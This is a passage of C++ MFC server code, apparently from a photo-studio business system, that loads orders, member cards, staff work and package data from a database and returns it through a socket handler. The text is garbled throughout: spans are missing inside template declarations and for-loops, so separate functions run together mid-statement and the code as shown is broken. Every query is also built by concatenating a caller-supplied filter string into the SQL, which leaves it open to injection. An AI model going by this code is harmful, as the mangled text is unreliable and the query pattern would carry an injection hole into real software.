rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 127://membercard2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membercard2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstmembercard2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.memberno) ; g_List1array.ElementAt (ii).Add(rsSt.card2no) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 128://memberreg { int covertrate=100; CString spoint; { CRecordset myset(m_pConndb); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberreg"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstMemberReg2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_card2no) ; g_List1array.ElementAt (ii).Add(rsSt.m_dindanid) ; g_List1array.ElementAt (ii).Add(rsSt.m_taoxi) ; spoint.Format ("%d", atoi(rsSt.m_money)*covertrate/100); g_List1array.ElementAt (ii).Add(spoint) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_card2no) ; g_List1array.ElementAt (ii).Add(rsSt.m_dindanid) ; g_List1array.ElementAt (ii).Add(rsSt.m_taoxi) ; // sql.Format("%d", atol(rsSt.m_money)/100); g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 129://memberreg { int covertrate=100; CString spoint; { CRecordset myset(m_pConndb); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } CArraym_List1array; CArraym_List2array; CArraym_List3array; CString strdate1,strdate2; strdate1.Format ("%s-%02d-%02d", filter, 1, 1); strdate2.Format ("%s-%02d-%02d", filter, 12, 31); { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membermanage"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstMemberReg rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { filter.Format("[date]>='%s' and [date]<='%s'", strdate1, strdate2); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membercard2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstmembercard2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.memberno) ; m_List2array.ElementAt (ii).Add(rsSt.card2no) ; m_List2array.ElementAt (ii).Add(rsSt.date) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } { filter.Format("[date2]>='%s' and [date2]<='%s' and [type]='转介绍' or [date]>='%s' and [date]<='%s' and [type]='转介绍'", strdate1, strdate2, strdate1, strdate2); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberreg"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List3array.SetSize(atol(sql) , 1 ); RstMemberReg2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { m_List3array.ElementAt (ii).RemoveAll (); m_List3array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List3array.ElementAt (ii).Add(rsSt.m_card2no) ; m_List3array.ElementAt (ii).Add(rsSt.m_date2) ; m_List3array.ElementAt (ii).Add(rsSt.m_dindanid) ; m_List3array.ElementAt (ii).Add(rsSt.m_taoxi) ; spoint.Format ("%d", atoi(rsSt.m_money)*covertrate/100); m_List3array.ElementAt (ii).Add(spoint) ; m_List3array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(m_List3array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { m_List3array.ElementAt (ii).RemoveAll (); m_List3array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List3array.ElementAt (ii).Add(rsSt.m_card2no) ; m_List3array.ElementAt (ii).Add(rsSt.m_date2) ; m_List3array.ElementAt (ii).Add(rsSt.m_dindanid) ; m_List3array.ElementAt (ii).Add(rsSt.m_taoxi) ; m_List3array.ElementAt (ii).Add(rsSt.m_money) ; m_List3array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(m_List3array.GetSize ()<=ii)break; } } rsSt.Close();m_List3array.SetSize(ii , 1 ); } DWORD size=0; CString memberno; for(ii=0; iim_List1array; CArraym_List2array; CArraym_List3array; CString strdate1,strdate2; strdate1.Format ("%s-%02d-%02d", filter, 1, 1); strdate2.Format ("%s-%02d-%02d", filter, 12, 31); { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membermanageblue"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstMemberRegBlue rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { filter.Format("[date]>='%s' and [date]<='%s'", strdate1, strdate2); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membercard2blue";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstmembercard2blue rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.memberno) ; m_List2array.ElementAt (ii).Add(rsSt.card2no) ; m_List2array.ElementAt (ii).Add(rsSt.date) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } { filter.Format("[date2]>='%s' and [date2]<='%s' and [type]='转介绍' or [date]>='%s' and [date]<='%s' and [type]='转介绍'", strdate1, strdate2, strdate1, strdate2); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberregblue"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List3array.SetSize(atol(sql) , 1 ); RstMemberReg2blue rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List3array.ElementAt (ii).RemoveAll (); m_List3array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List3array.ElementAt (ii).Add(rsSt.m_card2no) ; m_List3array.ElementAt (ii).Add(rsSt.m_date2) ; m_List3array.ElementAt (ii).Add(rsSt.m_dindanid) ; m_List3array.ElementAt (ii).Add(rsSt.m_taoxi) ; m_List3array.ElementAt (ii).Add(rsSt.m_money) ; m_List3array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(m_List3array.GetSize ()<=ii)break; } rsSt.Close();m_List3array.SetSize(ii , 1 ); } DWORD size=0; CString memberno; for(ii=0; iim_strRemoteHost); WriteLogin(ss); WriteLogin(e->m_strError);return; } nStep=1; CMemFile memfile; CArchive ar(&memfile, CArchive::store); for( ii=0; iim_strRemoteHost); WriteLogin(ss); } } CString GetIPFromDomain(CString domain, CArray*pArray) { for(int i=0; iGetSize (); i++) { if(domain==pArray->ElementAt (i).ElementAt (0)) return pArray->ElementAt (i).ElementAt (2); } return ""; } CString GetIPFromDomain2(CString domain, CArray*pArray)//花生壳 { for(int i=0; iGetSize (); i++) { if(domain==pArray->ElementAt (i).ElementAt (0)) { if(pArray->ElementAt (i).GetSize ()>6) return pArray->ElementAt (i).ElementAt (6); return ""; } } return ""; } #ifdef ENTERPRISE_VERSION extern CString g_bMain; #endif void CovertDate(CString &date, CString &date2) { CCalendarConvert m_CalendarConvert; SYSTEMTIME src = {0}; SYSTEMTIME dst = {0}; COleDateTime m_timeLunar(atoi(date.Mid (0,4)),atoi(date.Mid (5,2)),atoi(date.Mid (8,2)),0,0,0); COleDateTime m_timeGregorian; m_timeLunar.GetAsSystemTime ( src ); BOOL bEmbolism = 0; if ( m_CalendarConvert.Lunar2Gregorian ( &src, bEmbolism, &dst ) ) { m_timeGregorian = m_CalendarConvert.ConvertSysTime2OleDateTime ( &dst ); date.Format ("%04d-%02d-%02d", m_timeGregorian.GetYear (), m_timeGregorian.GetMonth (), m_timeGregorian.GetDay ()); } else { date.Empty (); } bEmbolism = 1; if ( m_CalendarConvert.Lunar2Gregorian ( &src, bEmbolism, &dst ) ) { m_timeGregorian = m_CalendarConvert.ConvertSysTime2OleDateTime ( &dst ); date2.Format ("%04d-%02d-%02d", m_timeGregorian.GetYear (), m_timeGregorian.GetMonth (), m_timeGregorian.GetDay ()); } else { date2.Empty (); } } void CConnectSocket::GetDataFromCode3(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize, CString filter) {//135---182 int nStep=0; try { DWORD ii=0; CArrayg_List1array; try { switch(code) { case 135://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDindanForm8 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.status) ; g_List1array.ElementAt (ii).Add(rsSt.status4+"/") ; g_List1array.ElementAt (ii).Add(rsSt.status2) ; g_List1array.ElementAt (ii).Add(rsSt.status6+"/") ; g_List1array.ElementAt (ii).Add(rsSt.status5+"/") ; g_List1array.ElementAt (ii).Add(rsSt.urgent) ; g_List1array.ElementAt (ii).Add(rsSt.time5) ; g_List1array.ElementAt (ii).Add(rsSt.time2) ; g_List1array.ElementAt (ii).Add(rsSt.time4) ; g_List1array.ElementAt (ii).Add(rsSt.time6) ; g_List1array.ElementAt (ii).Add(rsSt.ren) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 136://digitalwork { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from digitalwork";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstdigitalwork rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (ii).Add(rsSt.date1) ; g_List1array.ElementAt (ii).Add(rsSt.waiter2) ; g_List1array.ElementAt (ii).Add(rsSt.date2) ; g_List1array.ElementAt (ii).Add(rsSt.waiter3) ; g_List1array.ElementAt (ii).Add(rsSt.date3) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 137:// { CArraym_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.status4) ; m_List1array.ElementAt (ii).Add(rsSt.status6) ; m_List1array.ElementAt (ii).Add(rsSt.status5) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } filter=""; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from digitalwork";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstdigitalwork rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { temp=rsSt.id; if(aa!=-1 && aadbarraytemp; dbarraytemp.Copy(dbarray); while(dbarraytemp.GetSize()>1) { int last=dbarraytemp.GetSize()-1; dbarraytemp.RemoveAt(last); } dbarraytemp.InsertAt(0, &g_db); for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { m_pConndb=dbarraytemp.ElementAt (a); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hqview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); sql.Format ("%d", a-1); int oldsize=g_List1array.GetSize (); g_List1array.SetSize(oldsize+count , 1 ); CRsthqview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="hqdate,hqtime"; rsSt.Open(); ii=0; CString time3,time3bak; while(!rsSt.IsEOF()) { g_List1array.ElementAt (oldsize+ii).RemoveAll (); g_List1array.ElementAt (oldsize+ii).Add(rsSt.id) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.hqdate) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.hqtime) ; time3=rsSt.time3; if(atoi(rsSt.check3)) { CovertDate(time3, time3bak); } if(time3bak.IsEmpty ()==0)time3=time3bak; g_List1array.ElementAt (oldsize+ii).Add(time3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxijiage) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=(oldsize+ii))break; } rsSt.Close();g_List1array.SetSize(oldsize+ii , 1 ); } } break; /* case 139:// { g_List1array.RemoveAll (); CArraydbarraytemp; dbarraytemp.Copy(dbarray); while(dbarraytemp.GetSize()>1) { int last=dbarraytemp.GetSize()-1; dbarraytemp.RemoveAt(last); } dbarraytemp.InsertAt(0, &g_db); for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { m_pConndb=dbarraytemp.ElementAt (a); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from hqview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); sql.Format ("%d", a-1); int oldsize=g_List1array.GetSize (); g_List1array.SetSize(oldsize+count , 1 ); CRsthqview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="hqdate,hqtime"; rsSt.Open(); ii=0; CString time3,time3bak; while(!rsSt.IsEOF()) { g_List1array.ElementAt (oldsize+ii).RemoveAll (); g_List1array.ElementAt (oldsize+ii).Add(rsSt.id) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.hqdate) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.hqtime) ; time3=rsSt.time3; if(atoi(rsSt.check3)) { CovertDate(time3, time3bak); } if(time3bak.IsEmpty ()==0)time3=time3bak; g_List1array.ElementAt (oldsize+ii).Add(time3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxijiage) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=(oldsize+ii))break; } rsSt.Close();g_List1array.SetSize(oldsize+ii , 1 ); } } break; */ case 140://client3 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDinDanSP3 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.autoid) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add("公历") ; g_List1array.ElementAt (ii).Add(rsSt.hqdate) ; g_List1array.ElementAt (ii).Add(rsSt.hqtime) ; g_List1array.ElementAt (ii).Add(rsSt.ren1) ; g_List1array.ElementAt (ii).Add(rsSt.ren2) ; g_List1array.ElementAt (ii).Add(rsSt.hqstatus) ; g_List1array.ElementAt (ii).Add(rsSt.bz) ; /* g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.hqdate) ; g_List1array.ElementAt (ii).Add(rsSt.hqtime) ; g_List1array.ElementAt (ii).Add(rsSt.ren1) ; g_List1array.ElementAt (ii).Add(rsSt.ren2) ;*/ ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 141://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDindanForm9 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString str; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.waiter1) ; if(rsSt.waiter1rate.IsEmpty ()) rsSt.waiter1rate="100%"; else rsSt.waiter1rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter1rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter12) ; if(rsSt.waiter12rate.IsEmpty ()) rsSt.waiter12rate="0%"; else rsSt.waiter12rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter12rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter13) ; if(rsSt.waiter13rate.IsEmpty ()) rsSt.waiter13rate="0%"; else rsSt.waiter13rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter13rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter14) ; if(rsSt.waiter14rate.IsEmpty ()) rsSt.waiter14rate="0%"; else rsSt.waiter14rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter14rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter2) ; if(rsSt.waiter2rate.IsEmpty ()) rsSt.waiter2rate="100%"; else rsSt.waiter2rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter2rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter22) ; if(rsSt.waiter22rate.IsEmpty ()) rsSt.waiter22rate="0%"; else rsSt.waiter22rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter22rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter23) ; if(rsSt.waiter23rate.IsEmpty ()) rsSt.waiter23rate="0%"; else rsSt.waiter23rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter23rate) ; g_List1array.ElementAt (ii).Add(rsSt.waiter24) ; if(rsSt.waiter24rate.IsEmpty ()) rsSt.waiter24rate="0%"; else rsSt.waiter24rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.waiter24rate) ; //////////////////// g_List1array.ElementAt (ii).Add(rsSt.ren) ; if(rsSt.renrate.IsEmpty ()) rsSt.renrate="100%"; else rsSt.renrate+="%"; g_List1array.ElementAt (ii).Add(rsSt.renrate) ; g_List1array.ElementAt (ii).Add(rsSt.ren2) ; if(rsSt.ren2rate.IsEmpty ()) rsSt.ren2rate="0%"; else rsSt.ren2rate+="%"; g_List1array.ElementAt (ii).Add(rsSt.ren2rate) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 142://mywork { CArraym_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm9 rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.waiter1) ; m_List1array.ElementAt (ii).Add(rsSt.waiter12) ; m_List1array.ElementAt (ii).Add(rsSt.waiter13) ; m_List1array.ElementAt (ii).Add(rsSt.waiter14) ; m_List1array.ElementAt (ii).Add(rsSt.waiter1rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter12rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter13rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter14rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter2) ; m_List1array.ElementAt (ii).Add(rsSt.waiter22) ; m_List1array.ElementAt (ii).Add(rsSt.waiter23) ; m_List1array.ElementAt (ii).Add(rsSt.waiter24) ; m_List1array.ElementAt (ii).Add(rsSt.waiter2rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter22rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter23rate) ; m_List1array.ElementAt (ii).Add(rsSt.waiter24rate) ; m_List1array.ElementAt (ii).Add(rsSt.choosezs) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from mywork";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstMyWork rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { if(rsSt.id.IsEmpty ()) { rsSt.MoveNext(); continue; } g_List1array.ElementAt (ii).RemoveAll (); BOOL bFind=0; for(int aa=0; aam_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstTodayForm rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from mywork";if(!filter.IsEmpty ())sql+=" where "+filter; 